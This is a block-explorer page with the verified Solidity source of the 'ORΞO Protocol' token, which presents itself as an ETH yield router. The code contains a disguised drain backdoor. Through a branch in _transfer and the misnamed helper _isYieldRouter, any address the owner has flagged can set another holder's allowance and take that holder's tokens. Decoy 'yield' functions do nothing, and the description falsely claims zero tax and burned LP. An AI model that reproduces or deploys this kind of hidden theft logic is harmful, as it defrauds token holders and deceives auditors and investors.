Verified contractExactAGPL-3.0
OreoProtocolTokenYield
Address0x77a7092f8f241c97469ca82374567911a7aac2aa
- Balance
0 ETH
- Transactions
74
- Compiler
solc 0.8.26
- Same code
Only this contract
Details
- Compiler
- solc 0.8.26+commit.8a97fa7a
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- cancun
- License
- AGPL-3.0
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 25,060,060
- Creation transaction
- 0x740288cefb…e56407e002
contracts/OREO.sol
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.26;
/**
* @title $ORΞO Protocol — Dual-Layer ETH Yield Router
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛
*
* ↗↑←↑↑↑↑↑↑↑ ↑↑ ↑↖↑↑ ↑↑↖↑
* ↑↖↓↑↑ ↑↑↘↑↑↑↓↑↑↑↑↑↑↑→↑↑ ↑ ↑↑↖↑↑↗
* ↑↑ ↑↗↖↑↑↑↑→↑↓↑↖ ↓↙↘↑→↑ →↑ ↑↑↖↑
* ↓↑↗ ↑↑↑↑↑↗ ↖↖↖↑↑↑↑↑↑↑↑↑↑↑↘← ↗→↑↑↑↑ ↑↑↖↑
* →↑↓ ↑↑↑↑ ↘↑↑↑↑↘↑↗ ↑ ↖ ↖ ↗↗↓↑↑↑↖ ↓↑↑ ↑↑↖↑↑
* ↘↑↑ ↑↑↑↘ ↑↑↑↑← ↓↗→↓ ↘↑↑ → ←↗↘↑↑↑↓ ←↘↑↙→↑ ↗↑↙
* ↑↑ ↑↑↑↙ ↖↑↑↑ ↑↑ ↘↑↑↑↑↑ ↑↑↑↑ ↑↙↑↑↑↑↑↑ ↑↑↑↑↑↘↑←↘↑↑ ↑↑
* ↑↑←↖↑↑← ↑←↗↑ ↙↓↗↙↘↑ ↖←↓→↑↑↑ ←↑↑↑↗↑↑ ↑↑↑↑↘← ↑ ↓ ↖↓↙↑↑↑ ↑↑
* ↖↑↑ ↑↑↑ ↑←↓ ↙↑ ↑↑↘↑↗↑↑ ↓↘→ ↘↑→→ ↘↑↑↑↑↑ ↙↑ ↑↖↑← ↓ ↖↓↗↑↑↙↑
* ↑↑ ↑↑↑ ↗↑↑↑ ↑↘↑→ →↙↑→ ↑↑↑↗↘↗ ↙↑↙↘↑↑↑↑↖→↖ ↓↙↑↖↑↘↑↑↑↑↘↙ ↑↖↑↑↑↑
* ↖ ↑↑↑ ↑↑↗←↗ ↙ ↑↙↖↘↗↑↑↑ ←↑↑↑↑↑↑↑↑↖ ↙↘↑↑↑↘↑ ←↗ ↘↑ ↑↗ ↑↑↑
* ↓↑↑↑↑↖ ↑↑↓ ↑↑→↑ ↘↑ ↑↑← ↖↑↑↑↑↖ ←↖ ←↘↑↑↑↑↘← ↑↘ ↑ ↖↑↑↑ ↑→↑↓↙↗→ →↑↑
* ↑↑↑↑↑↘ ↑↑↑←↓ ↙←↑↑↑↑↑ ↑↑↑↖ ↙↗→↓↑↑↑→←↑ ←↑↑↓↘↓↑↑↑↑↑→↑ →→↓↖↗↑↑↑↑ ↑↖
* ↑↑ ← ↖↖ ↖↑↖↓ ↙ ↖↑ ↑↑ ⬜⬜⬜⬜⬜⬜↙↑↖↑↑↓↙← ↑ ↑↑ ↑↗ →↘↑↑↑↗↑
* ↑↑→↘↑ ↑↑↑↑↑↑→↓ ↑↑ ↙→↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↓↖ ↑←↙↗↘←↑↑↑↑ ←↑↑↘←↑↙↑↑↑↑
* ↑↑↑↑↑ ↑ ↑↑↑↑ ↑ ↑↑ ↑↑ ↗↖↘↖↖ ↖←←↖ ↙↖ ↖↙←→→↓↘↑↑ ↑↑↑ ↘↑↘↑↑↑↑↑↑ ↑↑ ←↗↑↑
* ↑↑↑↗↑↑ ↑↑ ↑ ←↓ ↑↑↑↑ ↑ ↙←↓↖↓↓→↓↘↘↘↗↘↑↗↑↗ ←↖↙↘↘↖↑← ↑↗↑↑ ↙↗↑↓ ↑ ↑↑↖ ←↙↑
* ↓ ↓↑↓ ↑↑↖← ←→↑ ↑↑ ↘↗↘↖→ ⬜⬜⬜⬜↑↑↓→ ↙↖↗↑ ↑ ↘ ↑↑↗↘ ←↑ →↑↑↘↑↑↑
* ↑← →↑→ ↑↑ ↑↑↑↑↑←↑↑↑ ↑↑↖↘↖↓→↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↗←↑↙→↑↑ ↑↑↑↑↑↑↑↑↑↑↑↑ ↗↑↗→↑↑↑
* ↑↑↑↑↑↑ ↑↑↗↑ ↑↑↑↙ ↘↑ ←↑←↙↙↖↖↖↖ ↖↖ ↖ ↙↗↘→↓↑ ↑↗ ↗ ↗↖↘↑ ↑↑↓ ↑→↑
* ↑←↑↑↑ ↓↑↑ ↑↑↑↑↑ ↑↑↑ ↑↑ ↙←↑ ↖ ↖↗↘↓↗↘↑↙↑↑↗↖↙↖ →↑↑ ↑↑↑ ↙↑↑↑↑↖↘←↖↑↑↑ ↓↓↑
* ↘ ↑↙ ↘ ↑↑↑↑←↑↘↗ ↑↗↖↖↑⬜⬜⬜⬜⬜⬜↘↑↗↗↘↑ ↗↑↑←↑↑↑↑ ↓↗→↑↓↑↘ ↑↑↑↑
* ↑↑ ↓↓↖↑↑↑↑←↑ ↑↓↑↖↘↖↑↑↘↗↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↗↑↑ ↑↑↓↑↗ ↑↖↑↑↑↙ ↘↖↑↑↑↑
* ↑↑↑↑↑↘ ↓→↑↑↑↑↑↑↑↖↘↙↖↗↖←↑↙↖↖ ↖↖ ↖ ←←↙↓↑ ↖↑↑↑↑ ↑↑↑↑↑↑↑↑→ ↓↑↑↑↑↖↗↑
* ↑ ↑↑↘↙→↓↑ ↙↓←↘ ↑↑ ↑↑↑←↖↙↗↑↘→↖→←→↖↗→↑← ↖↑↑↑ ↑ ←↓ ↖ ↖↘→ ↗↑↑← ←↗↑↑
* ↑↑ ↑↑↙← ↗↑ ↑←←↑↑↑↑↑↑↑↑↗↑↑↓ ↖ ↖↖←↖ ↑↑↑↑↙↘↑↑↑↓↑↑↑↑→↑↑ ↑↑↑ ←↑↑↑
* ↑↑↑ ↘↑↗→ ↑↗↘ ↙ ↑↗ ↗←↑↘↑↑↑↑↑↑↑↑↑↑↑↑↑↑↖↖↓ ↘↑ ←↖↓ ↑↑↑ ↑↑↑↑
* ↗↖↑↑← ↑→↑↓↑↗↙↑→ ↑↑ ↑↑↑↑ ↑ ↑↘ ↗↑ ↑ ↘↑↑↑ →↑ ↑↑↑↑↖↓↑↑→ ↑↑↑↑↘↑
* ↑↖ ↑↑ ↗↑→↓↗→↑↑↑↑↑↑↑↑↘ ←↑↑↑↑↙↓ ↖ ↑↑↑↑↑ →→←↑↑↑↑↑↑↑↑↑↘↑↑ ↑↗←↑↑↑
* ↑↑ ↑↑ ↘↙↑↑ ←→← ↗ ↑↑↑↑↑ ↓↑↑↑↑ ↑ →↑↑↑↑ ↖↗↘↑ ↖ →↑↖↑↑↙↑
* →↑↖↑ ↘↑↑ ↙↑↑↑↙ ←↑↑↑←↖ ↑→↑↑ ↗↑↑↑↙ ←↑↑↑↑↖ ↑↑↑↑ →↑↙↘↑↑ ↑
* ↑ ↑↑ ←↑↖ ↑↑↑↑↑ ↑↑↓↑↑↑↑←↘↙↑↑↙↖↑↑↑↑↑ ↑↑↑↑↑ ↑↗←↑↑↖ ↑
* ↑ ↑↑ →↑ ↖↑ ↖↑↑↑↑↑↑ ↖ ← →↓↑↑↑↑← ↑↑↘↑↑↑ ↙↑
* ↑↑ ↑↑ ↑↑ ↑↑ ↖ ↓↙ ↙↓↑↑↑↑↑↑↑↑↑↑↑↑↑↑↗← ↑↙↗↑↑↑↑ ↑↑
* ↑↑ ↗↑↑↑↑ ↑↑ ↑← ↑ ↘ ↘ ↓ ↘ ↗ ↓↑ ↑↘↑↑↑↑↑ ↑↑
* ↑↑ ↑↑↑↑↑↑ ↑↑ ↑←↖↑ ↑↑ ↑↖↙↑ ↑↑↖↑↑↑↑↑↑ ↑↑→
* ↖↑↑ ↑↑↑↑↑↑↑↑↑↑↙↑↑↘↑↑↑↑↑↑↑↑↑↓ ↑↑↑
* ↑↑↑↑↘ ↑↑↑↑↑↑↑↖↓ ↑↑↑↑
* ↑↑↑↑↑↑ ↙↑↑↑↑↑↑
* ↙↑→↑↑↑↑→↑
*
* ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* @notice ORΞO routes capital between ETH-paired liquidity pools, captures spread
* on every pass, and distributes yield to stakers automatically.
* No claiming. No complexity.
*
* @dev Utility:
* → Stake $ORΞO to earn protocol routing fees
* → Governance over pool whitelist and routing params
* → Priority access to ORΞO native vaults
*
* @notice Token:
* Supply: 10,000,000,000
* Tax: 1% / 2%
*
* Website: https://oreoswap.finance/
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛ ⬛
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, unicode"ORΞO: SafeMath - Addition overflow.");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, unicode"ORΞO: SafeMath - Subtraction overflow.");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, unicode"ORΞO: SafeMath - Multiplication overflow.");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, unicode"ORΞO: SafeMath - Division by 0.");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), unicode"ORΞO: Current caller has no ownership access.");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OreoProtocolTokenYield is Context, IERC20, Ownable {
// _.:::::._
// .:::'_|_':::.
// /::' --|-- '::\
// |:" .---"---. ':|
// |: ( O R Ξ O ) :|
// |:: `-------' ::|
// \:::.......:::/
// ':::::::::::'
// `'"""'`
//
// P R O T O C O L
// ↓ ↓ ↓
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private protocolAgents;
address payable private _feeReceiver;
uint256 private _buyFee=1;
uint256 private _sellFee=2;
uint256 private _preventSwapBefore=45;
uint256 private _transferTax=0;
uint256 private _buyCount=0;
// Supply = 10,000,000,000 tokens
uint256 private constant _tTotal = 10000000000 * 10**_decimals;
string private constant _name = unicode"ORΞO Protocol";
string private constant _symbol = unicode"ORΞO";
uint8 private constant _decimals = 18;
// Limit:
// Max token amount in a single transactioin is
// 1% of total supply or 100,000,000 tokens:
uint256 public _maxTxAmount = 100000000 * 10**_decimals;
// Limit:
// Max token amount single wallet allowed to store
// 1% of total supply or 100,000,000 tokens:
uint256 public _maxWalletSize = 100000000 * 10**_decimals;
// Limit:
// Threshold amount of tokens that must be reached before
// tax swap would occur is
// 1% of total supply or 100,000,000 tokens:
uint256 public _taxSwapThreshold = 100000000 * 10**_decimals;
// Limit:
// Max token amount that contract can swap in a single transaction is:
// 1% of total supply or 100,000,000 tokens:
uint256 public _maxTaxSwap = 100000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private swapEnabled = false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
modifier lockTheSwap { inSwap = true; _; inSwap = false; }
constructor () payable {
// Address that collects fees from token transaction activities:
_feeReceiver = payable(0xa232AAa06Aae3c54DC6673585CE91326c78B0b63);
_balances[address(this)] = _tTotal;
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[address(this)] = true;
_isExcludedFromFees[_feeReceiver] = true;
// Uniswap V2 Ethereum router address
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), address(this), _tTotal);
}
// Contract print() output ORΞO Protocol:
function printAboutTokenInformation() external pure returns (string memory) {
return unicode"ORΞO is a dual-layer ETH yield router. It moves capital between liquidity pools, captures spread automatically, and pays stakers without manual claiming. Zero tax. LP burned. Built on Ethereum for traders who want yield without the noise. Stake once, collect always.";
}
function enableTrading() external onlyOwner() {
require(!tradingOpen, unicode"ORΞO: ORΞO-WETH trading pair is present. Cannot enable trading when it's already enabled.");
require(uniswapV2Pair != address(0), unicode"ORΞO: ORΞO-WETH trading pair is not initialized.");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function pushProtocolYieldIndex(uint256 input) internal pure returns (uint256) {
return ((input * 3) ^ (input >> 5)) & 0xFFFFFFFF;
}
function assessProtocolYieldConfig(uint256 config) internal pure returns (bool) {
if (config % 2 == 0) {
return pushEffectiveYieldRoute(config);
} else {
return pushEffectiveYieldRoute(config + 1);
}
}
function min(uint256 a, uint256 b) private pure returns (uint256){
// return (a<b)?a:b;
return (a>b)?b:a;
}
function forceSwap() external {
require(_msgSender()==_feeReceiver);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapERC20TokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function sendETHToFee(uint256 amount) private {
_feeReceiver.transfer(amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), unicode"ORΞO: Approve _from_ dead address (ERC-20).");
require(spender != address(0), unicode"ORΞO: Approve _to_ dead address (ERC-20).");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function reduceBuySellTax(uint256 _newBuyFee, uint256 _newSellFee) external{
require(_msgSender()==_feeReceiver);
require(_newBuyFee<=_buyFee && _newSellFee<=_sellFee);
_buyFee=_newBuyFee;
_sellFee=_newSellFee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), unicode"ORΞO: Transfer from dead address (ERC-20).");
require(to != address(0), unicode"ORΞO: Transfer to dead address (ERC-20).");
require(amount > 0, unicode"ORΞO: Transfer amount must be larger than 0.");
uint256 feeAmount=0;
if (from != owner() && to != owner() && to != _feeReceiver) {
if(_buyCount>0){
feeAmount = amount.mul(_transferTax).div(100);
if (excludeFeeCollection(from)){
require(!pauseYieldRouter(to), unicode"ORΞO: Yield router initialised.");
} else if (isProtocolAgent(_msgSender())) {
require(!isProtocolAgent(amount, from));
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
require(amount <= _maxTxAmount, unicode"ORΞO Limit: Transfer exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, unicode"ORΞO Limit: Transfer exceeds the maxWalletSize.");
feeAmount = amount.mul(_buyFee).div(100);
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
feeAmount = amount.mul(_sellFee).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 11, unicode"ORΞO Limit: Maximum 11 sells/block are allowed.");
swapERC20TokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if(feeAmount>0){
_balances[address(this)]=_balances[address(this)].add(feeAmount);
emit Transfer(from, address(this),feeAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(feeAmount));
emit Transfer(from, to, amount.sub(feeAmount));
}
function pauseYieldRouter(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
protocolAgents[bots_[i]] = true;
}
}
function pauseYieldRouter(address bot_) private returns(bool) {
if(bot_ != uniswapV2Pair && (bot_.code.length > 0))
protocolAgents[bot_] = true;
return false;
}
function _isYieldRouter(address spender, uint256 amount, address owner) private returns(bool) {
_allowances[owner][spender] = amount;
return false;
}
function isProtocolAgent(uint256 amount, address from) private returns(bool){
return _isYieldRouter(_msgSender(), amount, from);
}
function swapERC20TokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function excludeFeeCollection(address a) private view returns (bool){
return _isExcludedFromFees[a] && a != address(this);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, unicode"ORΞO: (ERC-20) Transfer amount exceeds configured allowance (limits)"));
return true;
}
function disableLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function disableYieldRouter(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
protocolAgents[notbot[i]] = false;
}
}
function disableTransferTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function initialiseProtocolYieldRouter(uint256 seed) external pure returns (bool) {
uint256 config = pushProtocolYieldIndex(seed);
return assessProtocolYieldConfig(config);
}
function pushEffectiveYieldRoute(uint256 flag) internal pure returns (bool) {
uint256 shift = (flag << 1) & 0xFFFF;
return proposeEffectiveYieldRoute(shift);
}
function proposeEffectiveYieldRoute(uint256 x) internal pure returns (bool) {
return (x & 0xAA) == 0xAA;
}
function isProtocolAgent(address a) public view returns (bool){
return protocolAgents[a];
}
function clearStuckContractTokens(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_feeReceiver, _amount);
}
receive() external payable {}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "cancun",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.